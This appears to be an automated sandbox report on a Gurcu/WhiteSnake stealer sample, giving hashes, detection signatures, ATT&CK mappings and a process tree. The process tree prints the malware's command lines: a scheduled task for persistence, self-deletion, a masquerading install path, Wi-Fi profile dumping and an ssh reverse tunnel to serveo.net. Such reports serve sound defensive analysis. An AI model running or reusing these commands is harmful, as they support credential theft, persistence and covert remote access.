gurcu | 34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8

Analysis

max time kernel
140s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
05/10/2023, 16:18

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General

Target
0a32e2ec770c67261df3f3971d517bea.exe
Size 256KB
Sample231005-tsd6qsed89
SHA256 34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8
MD5 0a32e2ec770c67261df3f3971d517bea
SHA1 4dfbe7f3faa5b30b9f93085572496f055b02c5e0
SHA512 636b88f63c5829686581489f0c7d41cbee2c7d1aa5aed1f0e675c05047c7f515df7a2fdddf86ef47d28e92681a483e33f5f87f5f7cc8a7c475e343afc93fea2d
SSDEEP 6144:/GpIP+Oqum37ZUr6dgZTlp3j9bpf3X/ZZ+W0:GIPvqR7I6dgZTvfnfP0
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

gurcu collection discovery spyware stealer

Malware Config

Signatures

Detect Gurcu Stealer V3 payload 5 IoCs

resource	yara_rule
behavioral2/memory/884-0-0x0000019CC2A70000-0x0000019CC2AB6000-memory.dmp	family_gurcu_v3
behavioral2/files/0x000700000002323b-8.dat	family_gurcu_v3
behavioral2/files/0x000700000002323b-9.dat	family_gurcu_v3
behavioral2/files/0x000700000002323b-18.dat	family_gurcu_v3
behavioral2/files/0x000700000002323b-23.dat	family_gurcu_v3

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation	0a32e2ec770c67261df3f3971d517bea.exe

Executes dropped EXE 3 IoCs

pid	Process
2392	0a32e2ec770c67261df3f3971d517bea.exe
4836	0a32e2ec770c67261df3f3971d517bea.exe
4940	0a32e2ec770c67261df3f3971d517bea.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	0a32e2ec770c67261df3f3971d517bea.exe
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	0a32e2ec770c67261df3f3971d517bea.exe
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	0a32e2ec770c67261df3f3971d517bea.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3856	schtasks.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1048	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2392	0a32e2ec770c67261df3f3971d517bea.exe
2392	0a32e2ec770c67261df3f3971d517bea.exe
2392	0a32e2ec770c67261df3f3971d517bea.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	884	0a32e2ec770c67261df3f3971d517bea.exe
Token: SeDebugPrivilege	2392	0a32e2ec770c67261df3f3971d517bea.exe
Token: SeDebugPrivilege	4836	0a32e2ec770c67261df3f3971d517bea.exe
Token: SeDebugPrivilege	4940	0a32e2ec770c67261df3f3971d517bea.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2392	0a32e2ec770c67261df3f3971d517bea.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 884 wrote to memory of 1360	884	0a32e2ec770c67261df3f3971d517bea.exe	83
PID 884 wrote to memory of 1360	884	0a32e2ec770c67261df3f3971d517bea.exe	83
PID 1360 wrote to memory of 3264	1360	cmd.exe	85
PID 1360 wrote to memory of 3264	1360	cmd.exe	85
PID 1360 wrote to memory of 1048	1360	cmd.exe	86
PID 1360 wrote to memory of 1048	1360	cmd.exe	86
PID 1360 wrote to memory of 3856	1360	cmd.exe	91
PID 1360 wrote to memory of 3856	1360	cmd.exe	91
PID 1360 wrote to memory of 2392	1360	cmd.exe	92
PID 1360 wrote to memory of 2392	1360	cmd.exe	92
PID 2392 wrote to memory of 2636	2392	0a32e2ec770c67261df3f3971d517bea.exe	94
PID 2392 wrote to memory of 2636	2392	0a32e2ec770c67261df3f3971d517bea.exe	94
PID 2636 wrote to memory of 1396	2636	cmd.exe	96
PID 2636 wrote to memory of 1396	2636	cmd.exe	96
PID 2636 wrote to memory of 1252	2636	cmd.exe	97
PID 2636 wrote to memory of 1252	2636	cmd.exe	97
PID 2636 wrote to memory of 3308	2636	cmd.exe	98
PID 2636 wrote to memory of 3308	2636	cmd.exe	98
PID 2392 wrote to memory of 1832	2392	0a32e2ec770c67261df3f3971d517bea.exe	99
PID 2392 wrote to memory of 1832	2392	0a32e2ec770c67261df3f3971d517bea.exe	99
PID 1832 wrote to memory of 3624	1832	cmd.exe	101
PID 1832 wrote to memory of 3624	1832	cmd.exe	101
PID 1832 wrote to memory of 4120	1832	cmd.exe	102
PID 1832 wrote to memory of 4120	1832	cmd.exe	102
PID 1832 wrote to memory of 1632	1832	cmd.exe	103
PID 1832 wrote to memory of 1632	1832	cmd.exe	103
PID 2392 wrote to memory of 3344	2392	0a32e2ec770c67261df3f3971d517bea.exe	104
PID 2392 wrote to memory of 3344	2392	0a32e2ec770c67261df3f3971d517bea.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	0a32e2ec770c67261df3f3971d517bea.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	0a32e2ec770c67261df3f3971d517bea.exe

C:\Users\Admin\AppData\Local\Temp\0a32e2ec770c67261df3f3971d517bea.exe
"C:\Users\Admin\AppData\Local\Temp\0a32e2ec770c67261df3f3971d517bea.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "0a32e2ec770c67261df3f3971d517bea" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\0a32e2ec770c67261df3f3971d517bea.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\0a32e2ec770c67261df3f3971d517bea.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\0a32e2ec770c67261df3f3971d517bea.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:3264
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:1048
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "0a32e2ec770c67261df3f3971d517bea" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\0a32e2ec770c67261df3f3971d517bea.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:3856
- - C:\Users\Admin\AppData\Local\WindowsSecurity\0a32e2ec770c67261df3f3971d517bea.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\0a32e2ec770c67261df3f3971d517bea.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:2392
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2636
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:1396
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:1252
    - - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        5⤵
        
        PID:3308
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1832
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3624
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        
        PID:4120
    - - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        5⤵
        
        PID:1632
  - - C:\Windows\System32\OpenSSH\ssh.exe
      "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:4450 serveo.net
      4⤵
      PID:3344

C:\Users\Admin\AppData\Local\WindowsSecurity\0a32e2ec770c67261df3f3971d517bea.exe
C:\Users\Admin\AppData\Local\WindowsSecurity\0a32e2ec770c67261df3f3971d517bea.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4836

C:\Users\Admin\AppData\Local\WindowsSecurity\0a32e2ec770c67261df3f3971d517bea.exe
C:\Users\Admin\AppData\Local\WindowsSecurity\0a32e2ec770c67261df3f3971d517bea.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

port.dat

Path C:\Users\Admin\AppData\Local\67f1w63d06\port.dat
Size 4B
SHA256 4469948f22fdf2a32bda546f4f9a2e002e5113a526af2d7e0bc830dc145531f9
MD5 7230b2b03e2da37352abf1a659545b44
SHA1 0efbac5d2858bdb001322b81c2a57445af6d0367
SHA512 881ed34699b38cd6f307da5804009adff7560158d5a12b45ffa6268d7e8791e3cba4d2e4106b140139c975268574783aba158d79b44e936ca32990e311ce4737
MD5 SHA1 SHA512

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0a32e2ec770c67261df3f3971d517bea.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\0a32e2ec770c67261df3f3971d517bea.exe.log
Size 1KB
SHA256 6da862f7c7feffca99cd58712ece93928c6ca6aed617f5d8c10a4718eaa2a910
MD5 fc1be6f3f52d5c841af91f8fc3f790cb
SHA1 ac79b4229e0a0ce378ae22fc6104748c5f234511
SHA512 2f46165017309ee1a0c1b23e30a71e52e86ad8933e2649bf58c3f4628c5aa75659f5b8f6be32c2882f220b2f3ff2fd50d8766bf0a3708c94c2c634c051a05ea6
MD5 SHA1 SHA512

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0a32e2ec770c67261df3f3971d517bea.exe

Path C:\Users\Admin\AppData\Local\WindowsSecurity\0a32e2ec770c67261df3f3971d517bea.exe
Size 256KB
SHA256 34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8
MD5 0a32e2ec770c67261df3f3971d517bea
SHA1 4dfbe7f3faa5b30b9f93085572496f055b02c5e0
SHA512 636b88f63c5829686581489f0c7d41cbee2c7d1aa5aed1f0e675c05047c7f515df7a2fdddf86ef47d28e92681a483e33f5f87f5f7cc8a7c475e343afc93fea2d
SSDEEP 6144:/GpIP+Oqum37ZUr6dgZTlp3j9bpf3X/ZZ+W0:GIPvqR7I6dgZTvfnfP0
MD5 SHA1 SHA512 SSDEEP

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0a32e2ec770c67261df3f3971d517bea.exe

Path C:\Users\Admin\AppData\Local\WindowsSecurity\0a32e2ec770c67261df3f3971d517bea.exe
Size 256KB
SHA256 34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8
MD5 0a32e2ec770c67261df3f3971d517bea
SHA1 4dfbe7f3faa5b30b9f93085572496f055b02c5e0
SHA512 636b88f63c5829686581489f0c7d41cbee2c7d1aa5aed1f0e675c05047c7f515df7a2fdddf86ef47d28e92681a483e33f5f87f5f7cc8a7c475e343afc93fea2d
SSDEEP 6144:/GpIP+Oqum37ZUr6dgZTlp3j9bpf3X/ZZ+W0:GIPvqR7I6dgZTvfnfP0
MD5 SHA1 SHA512 SSDEEP

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0a32e2ec770c67261df3f3971d517bea.exe

Path C:\Users\Admin\AppData\Local\WindowsSecurity\0a32e2ec770c67261df3f3971d517bea.exe
Size 256KB
SHA256 34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8
MD5 0a32e2ec770c67261df3f3971d517bea
SHA1 4dfbe7f3faa5b30b9f93085572496f055b02c5e0
SHA512 636b88f63c5829686581489f0c7d41cbee2c7d1aa5aed1f0e675c05047c7f515df7a2fdddf86ef47d28e92681a483e33f5f87f5f7cc8a7c475e343afc93fea2d
SSDEEP 6144:/GpIP+Oqum37ZUr6dgZTlp3j9bpf3X/ZZ+W0:GIPvqR7I6dgZTvfnfP0
MD5 SHA1 SHA512 SSDEEP

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0a32e2ec770c67261df3f3971d517bea.exe

Path C:\Users\Admin\AppData\Local\WindowsSecurity\0a32e2ec770c67261df3f3971d517bea.exe
Size 256KB
SHA256 34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8
MD5 0a32e2ec770c67261df3f3971d517bea
SHA1 4dfbe7f3faa5b30b9f93085572496f055b02c5e0
SHA512 636b88f63c5829686581489f0c7d41cbee2c7d1aa5aed1f0e675c05047c7f515df7a2fdddf86ef47d28e92681a483e33f5f87f5f7cc8a7c475e343afc93fea2d
SSDEEP 6144:/GpIP+Oqum37ZUr6dgZTlp3j9bpf3X/ZZ+W0:GIPvqR7I6dgZTvfnfP0
MD5 SHA1 SHA512 SSDEEP

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memory/884-0-0x0000019CC2A70000-0x0000019CC2AB6000-memory.dmp

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memory/884-1-0x00007FFD7F620000-0x00007FFD800E1000-memory.dmp

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memory/884-2-0x0000019CC4660000-0x0000019CC4670000-memory.dmp

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memory/884-6-0x00007FFD7F620000-0x00007FFD800E1000-memory.dmp

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memory/2392-16-0x0000017BA2090000-0x0000017BA20A0000-memory.dmp

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memory/2392-15-0x00007FFD7E740000-0x00007FFD7F201000-memory.dmp

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memory/2392-12-0x0000017BA2090000-0x0000017BA20A0000-memory.dmp

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memory/2392-11-0x00007FFD7E740000-0x00007FFD7F201000-memory.dmp

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memory/4836-19-0x00007FFD7E740000-0x00007FFD7F201000-memory.dmp

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memory/4836-20-0x000001F560400000-0x000001F560410000-memory.dmp

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memory/4836-22-0x00007FFD7E740000-0x00007FFD7F201000-memory.dmp

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memory/4940-24-0x00007FFD7E740000-0x00007FFD7F201000-memory.dmp

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memory/4940-25-0x00000256BBC80000-0x00000256BBC90000-memory.dmp

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memory/4940-26-0x00007FFD7E740000-0x00007FFD7F201000-memory.dmp

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